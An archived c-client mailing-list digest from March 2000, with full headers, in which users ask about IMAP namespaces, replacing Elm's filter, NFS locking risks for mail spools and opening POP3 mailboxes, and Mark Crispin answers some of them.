http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 6 03:24:32 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2000 03:24:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA18121 for ; Mon, 6 Mar 2000 03:24:31 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA19648; Mon, 6 Mar 2000 03:24:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id DAA06761; Mon, 6 Mar 2000 03:20:18 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id DAA25876 for ; Mon, 6 Mar 2000 03:18:49 -0800 Received: from richard.eu.org (dialup206.vln.takas.lt [212.59.14.214]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA29103 for ; Mon, 6 Mar 2000 03:18:45 -0800 Received: (from rch@localhost) by richard.eu.org (8.10.0.Beta6/8.10.0.Beta6) id e26BHT307811 for c-client@u.washington.edu; Mon, 6 Mar 2000 13:17:29 +0200 (EET) Message-Id: <20000306131728.E430@richard.eu.org> Date: Mon, 6 Mar 2000 13:17:29 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?UTF-8?B?UmnEjWFyZGFzIMSMZXBhcw==?= To: c-client@u.washington.edu Subject: Namespace & Cclient In-Reply-To: <200003061016.CAA21336@lists3.u.washington.edu>; from listproc@u.washington.edu on Mon, Mar 06, 2000 at 02:16:37AM -0800 References: <200003061016.CAA21336@lists3.u.washington.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Hf61M2y+wYpnELGG" X-Authentication-Warning: richard.eu.org: rch set sender to rch@writeme.com using -f X-OS: FreeBSD 4.0-CURRENT i386 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Hf61M2y+wYpnELGG Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Hi, I have a perl script using Mail::Cclient and c-client lib from 4.7a wu-imap= d. I would like to be able to access different imap servers from it. Problem is that cyrus requires user.$username. prefix for private mailboxes; wu-ima= pd don't. Is there some clean way to get that parameter from server? Thank you, --=20 Ri=C4=8Dardas =C4=8Cepas ~~ ~ --Hf61M2y+wYpnELGG Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: ZXN2E8ov+fibu9Lul7JEqG8kOCTvk2zZ iQA/AwUBOMOTyLj15+7mW/OBEQKYEgCfe2TIxDTJ8z4jxQdzcqIof2TYVKgAn2mC g3mtsbi251RqT0AHTwDN1xAL =Pzxt -----END PGP SIGNATURE----- --Hf61M2y+wYpnELGG-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 6 09:37:57 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2000 09:37:57 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA23863 for ; Mon, 6 Mar 2000 09:37:56 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA27463; Mon, 6 Mar 2000 09:37:54 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA11616; Mon, 6 Mar 2000 09:34:44 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA21860 for ; Mon, 6 Mar 2000 09:32:24 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (helfa@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA17560 for ; Mon, 6 Mar 2000 09:32:23 -0800 Message-Id: Date: Mon, 6 Mar 2000 09:29:27 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: =?UTF-8?B?UmnEjWFyZGFzIMSMZXBhcw==?= Cc: c-client@u.washington.edu Subject: re: Namespace & Cclient In-Reply-To: <20000306131728.E430@richard.eu.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 6 Mar 2000 13:17:29 +0200, =?UTF-8?B?UmnEjWFyZGFzIMSMZXBhcw==?= wrote: > I have a perl script using Mail::Cclient and c-client lib from 4.7a > wu-imapd. ^^ UW, not "WU" We are the University of Washington, not Washington University. Since there are several US universities with "Washington" in the name, it's important to use the right name. > I would like to be able to access different imap servers from it. Problem > is that cyrus requires user.$username. prefix for private mailboxes; > wu-imapd ^^ UW > don't. Is there some clean way to get that parameter from server? Did you try getting the namespace list? I don't know how the Perl software would do it, but there is a c-client option to get the namespace. From pinedev@shivax2.cac.washington.edu Mon Mar 6 11:18:23 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2000 11:18:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA27708 for ; Mon, 6 Mar 2000 11:18:21 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA15732; Mon, 6 Mar 2000 11:18:18 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA24628; Mon, 6 Mar 2000 11:13:31 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA20600 for ; Mon, 6 Mar 2000 11:11:10 -0800 Received: from richard.eu.org (osf-dial6.taide.lt [193.219.244.170]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA10813 for ; Mon, 6 Mar 2000 11:11:06 -0800 Received: (from rch@localhost) by richard.eu.org (8.10.0.Beta6/8.10.0.Beta6) id e26J8VK11042; Mon, 6 Mar 2000 21:08:31 +0200 (EET) Message-Id: <20000306210830.F430@richard.eu.org> Date: Mon, 6 Mar 2000 21:08:30 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?UTF-8?B?UmnEjWFyZGFzIMSMZXBhcw==?= To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Namespace & Cclient In-Reply-To: ; from MRC@CAC.Washington.EDU on Mon, Mar 06, 2000 at 09:29:27AM -0800 References: <20000306131728.E430@richard.eu.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="2qXFWqzzG3v1+95a" X-Authentication-Warning: richard.eu.org: rch set sender to rch@writeme.com using -f X-OS: FreeBSD 4.0-CURRENT i386 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --2qXFWqzzG3v1+95a Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On Mon Mar 6 09:29:27 2000 -0800 Mark Crispin wrote: > On Mon, 6 Mar 2000 13:17:29 +0200, =3D?UTF-8?B?UmnEjWFyZGFzIMSMZXBhcw=3D= =3D?=3D wrote: > > I have a perl script using Mail::Cclient and c-client lib from 4.7a > > wu-imapd. > ^^ UW, not "WU" >=20 > We are the University of Washington, not Washington University. Since th= ere > are several US universities with "Washington" in the name, it's important= to > use the right name. Sorry, I was unaware of that. >=20 > > I would like to be able to access different imap servers from it. Probl= em > > is that cyrus requires user.$username. prefix for private mailboxes; > > wu-imapd > ^^ UW > > don't. Is there some clean way to get that parameter from server? >=20 > Did you try getting the namespace list? I don't know how the Perl softwa= re > would do it, but there is a c-client option to get the namespace. I can get it manually: S: * OK richard.eu.org Cyrus IMAP4 v1.6.22 server ready S: * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS X-NON-= HIERARCHICAL-RENAME NO_ATOMIC_RENAME UNSELECT <.........> =2E namespace * NAMESPACE (("INBOX." ".")) NIL (("" ".")) =2E But it seems there isn't perl interface to GET_NAMESPACE (?). Probably I'll need to hack it myself :( Thank you for the response. --=20 Ri=C4=8Dardas =C4=8Cepas ~~ ~ --2qXFWqzzG3v1+95a Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: 5hFigTeoTVZKDjIZezFs9Xj8nC7l6H2r iQA/AwUBOMQCLbj15+7mW/OBEQLM6QCfcjVz9zsjobPVaA5ya/FIEhggAxoAoNiP uQTr99EAmMkXC9Es1PFvhfWu =ncTn -----END PGP SIGNATURE----- --2qXFWqzzG3v1+95a-- From pinedev@shivax2.cac.washington.edu Wed Mar 8 08:37:26 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Mar 2000 08:37:25 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA00203 for ; Wed, 8 Mar 2000 08:37:24 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA26184; Wed, 8 Mar 2000 08:37:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA05144; Wed, 8 Mar 2000 08:34:33 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA54638 for ; Wed, 8 Mar 2000 08:31:19 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA18530 for ; Wed, 8 Mar 2000 08:31:19 -0800 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.1.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA09429 for ; Wed, 8 Mar 2000 08:31:18 -0800 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id QAA19069 for ; Wed, 8 Mar 2000 16:31:05 GMT Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id QAA19312 for ; Wed, 8 Mar 2000 16:31:05 GMT Message-Id: Date: Wed, 8 Mar 2000 16:31:04 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: c-client@CAC.Washington.EDU Subject: replacement for "filter"? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Our email system has evolved over the years, and includes components from a variety of sources. The current state of our email spool machines is: OS: Solaris 2.6, 2.7 sendmail: public domain 8.9.x (using "/bin/mail" for "Mlocal") IMAP: Washington imap-4.6 POP3: Qualcomm Elm: (ancient!) filter: (from Elm above) We are trying to overhaul and rationalise it. In particular we want to restructure the "/var/mail" spool area which is currently many thousand entries and consequently very inefficient. Thus the path to a user's spool file will be non-default. I am planning: o to continue to use Washington imap (4.7b); o to change the POP to Washington's ipop3 (from imap-4.7b distibution) o to use "tmail" from Washington imap-utils for sendmail delivery. The tests have gone very well. Because almost all user-access is now via POP or IMAP, there is only a small residual amount of file/NFS-based access. (Yes, we know of the dangers of NFS which is why we have always deprecated it!) We intend to remove this final file/NFS access, such as Elm, so that's OK for us (and we have warned the users!). The remaining problem, however, is the "filter" program (from Elm), which seems to be in widespread use with our users. (If we were starting again, we would only use "procmail" and not "filter", but that is not our given starting point...). And "filter" wants to act directly on the user's file in "/var/mail". Not nice. Is there a program which, from the user perspective, emulates "filter", but behind the scenes use c-client? Any alternative solutions (as pain-free as possible for users, and preferably of curtailed pain for me)? -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 8 10:11:24 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Mar 2000 10:11:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA15073 for ; Wed, 8 Mar 2000 10:11:21 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA12497; Wed, 8 Mar 2000 10:11:20 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id KAA27527; Wed, 8 Mar 2000 10:08:28 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id KAA18604 for ; Wed, 8 Mar 2000 10:06:25 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA10744 for ; Wed, 8 Mar 2000 10:06:24 -0800 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA12369 for ; Wed, 8 Mar 2000 10:06:20 -0800 Received: from speedy.swi.com.br (IDENT:chaos@speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id OAA21265 for ; Wed, 8 Mar 2000 14:09:09 -0300 Message-Id: <200003081709.OAA21265@stratus.swi.com.br> Date: Wed, 8 Mar 2000 14:09:09 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Subject: NFS problems WAS: Re: replacement for "filter"? Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, >Because almost all user-access is now via POP or IMAP, there is only a >small residual amount of file/NFS-based access. (Yes, we know of the >dangers of NFS which is why we have always deprecated it!) We intend to >remove this final file/NFS access, such as Elm, so that's OK for us (and >we have warned the users!). What are the dangers about using a NFS for mail spool? Where can I find more info about it? Does it affect the HOME dirs? as /home is in a NFS server the $HOME/mail is affected to it (for local access)? Thanks, Raul Dias From pinedev@shivax2.cac.washington.edu Thu Mar 9 06:14:38 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Mar 2000 06:14:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA17594 for ; Thu, 9 Mar 2000 06:14:37 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA05665; Thu, 9 Mar 2000 06:14:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id GAA24791; Thu, 9 Mar 2000 06:04:19 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id GAA19070 for ; Thu, 9 Mar 2000 06:02:45 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA10789 for ; Thu, 9 Mar 2000 06:02:44 -0800 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.1.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA05514 for ; Thu, 9 Mar 2000 06:02:43 -0800 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id OAA01502; Thu, 9 Mar 2000 14:02:06 GMT Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id OAA06753; Thu, 9 Mar 2000 14:02:02 GMT Message-Id: Date: Thu, 9 Mar 2000 14:02:01 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Raul Dias Cc: c-client@CAC.Washington.EDU Subject: Re: NFS problems WAS: Re: replacement for "filter"? In-Reply-To: <200003081709.OAA21265@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 8 Mar 2000, Raul Dias wrote: > >Because almost all user-access is now via POP or IMAP, there is only a > >small residual amount of file/NFS-based access. (Yes, we know of the > >dangers of NFS which is why we have always deprecated it!) We intend to > >remove this final file/NFS access, such as Elm, so that's OK for us (and > >we have warned the users!). > > What are the dangers about using a NFS for mail spool? > Where can I find more info about it? > > Does it affect the HOME dirs? as /home is in a NFS server the > $HOME/mail is affected to it (for local access)? The NFS comment was an aside in my original message (about filter replacement). Locking files via NFS is apparently fragile. It is probably better on recent releases of operating systems that it was a few years ago, but should still be treated with caution. Locking is, of course, vitally important on the spool file, when the mail delivery program and the Mail User Agent (MUA) progam (Pine, Elm, ...) might both try simultaneous writes to the file. In the home directory (for folders etc.), I still wouldn't be happy: suppose user had two MUAs running? suppose there is a filter writing inbound email into the folder? See "docs/locking.txt" in the IMAP distribution for more details. My own view is that I won't trust NFS locking until I understand the details in that document as they apply to us (all servers and all clients). And I don't yet understand it...! Hope that helps. -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : From pinedev@shivax2.cac.washington.edu Thu Mar 9 13:34:38 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Mar 2000 13:34:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA02481 for ; Thu, 9 Mar 2000 13:34:36 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA01764; Thu, 9 Mar 2000 13:34:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA17800; Thu, 9 Mar 2000 13:31:14 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA29244 for ; Thu, 9 Mar 2000 13:28:56 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA23244 for ; Thu, 9 Mar 2000 13:28:56 -0800 Received: from ares.voicerite.com (totalcall.com [216.235.96.73]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA01628 for ; Thu, 9 Mar 2000 13:28:52 -0800 Received: from amadeus.voicerite.com (amadeus.voicerite.com [192.168.1.44]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id QAA22884 for ; Thu, 9 Mar 2000 16:32:34 -0500 Received: by amadeus.voicerite.com(Lotus SMTP MTA v4.6.4 (830.2 3-23-1999)) id 8525689D.007684C6 ; Thu, 9 Mar 2000 16:34:32 -0500 Message-Id: <8525689D.007682FA.00@amadeus.voicerite.com> Date: Thu, 9 Mar 2000 16:34:25 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: gcoll@voicerite.com To: c-client@CAC.Washington.EDU Subject: mtest Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: VOICERITE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've used the mtest open my 'local' mailbox (INBOX). I've also opened my imap-mailbox using {host}mailbox syntax. How do we open a POP3 mailbox? Thanx Gus -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 9 13:53:21 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Mar 2000 13:53:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA12379 for ; Thu, 9 Mar 2000 13:53:20 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA18213; Thu, 9 Mar 2000 13:53:18 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA04919; Thu, 9 Mar 2000 13:51:02 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA46998 for ; Thu, 9 Mar 2000 13:50:18 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA24205 for ; Thu, 9 Mar 2000 13:50:13 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (satori@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA02247 for ; Thu, 9 Mar 2000 13:50:12 -0800 Message-Id: Date: Thu, 9 Mar 2000 13:41:28 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: gcoll@voicerite.com Cc: c-client Interest List Subject: re: mtest In-Reply-To: <8525689D.007682FA.00@amadeus.voicerite.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Mar 2000 16:34:25 -0500, gcoll@voicerite.com wrote: > I've used the mtest open my 'local' mailbox (INBOX). I've also opened my > imap-mailbox using {host}mailbox syntax. > How do we open a POP3 mailbox? The answer is to be found in the IMAP toolkit documentation, specifically file imap-4.[]/docs/naming.txt The string "pop3" occurs in only one line of this file. You'll also find other useful information about mailbox name syntax, such as how to open NNTP mailboxes. From pinedev@shivax2.cac.washington.edu Thu Mar 9 14:20:15 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Mar 2000 14:20:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA12673 for ; Thu, 9 Mar 2000 14:20:14 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA03059; Thu, 9 Mar 2000 14:20:12 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA02812; Thu, 9 Mar 2000 14:18:36 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA56216 for ; Thu, 9 Mar 2000 14:16:37 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA00584 for ; Thu, 9 Mar 2000 14:16:36 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA02917; Thu, 9 Mar 2000 14:16:28 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id QAA27963; Thu, 9 Mar 2000 16:28:22 -0600 Message-Id: Date: Thu, 9 Mar 2000 16:28:22 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: Mark Crispin Cc: gcoll@voicerite.com, c-client Interest List Subject: re: mtest In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Mar 2000, Mark Crispin wrote: > > The answer is to be found in the IMAP toolkit documentation, specifically file > imap-4.[]/docs/naming.txt The string "pop3" occurs in only one line of this > file. You'll also find other useful information about mailbox name syntax, > such as how to open NNTP mailboxes. > naming.txt was my personal favorite. From pinedev@shivax2.cac.washington.edu Fri Mar 10 09:00:26 2000 -0800 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Mar 2000 09:00:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA20576 for ; Fri, 10 Mar 2000 09:00:25 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA07982; Fri, 10 Mar 2000 09:00:19 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id IAA07844; Fri, 10 Mar 2000 08:58:15 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id IAA43978 for ; Fri, 10 Mar 2000 08:56:32 -0800 Received: from mail.infohouse.com (mail.infohouse.com [204.143.176.4]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA24472 for ; Fri, 10 Mar 2000 08:56:31 -0800 Received: from coyote (fwgw.tempest.com [204.143.178.246]) by mail.infohouse.com (Post.Office MTA v3.5.3 release 223 ID# 141-59479U3500L350S0V35) with SMTP id com for 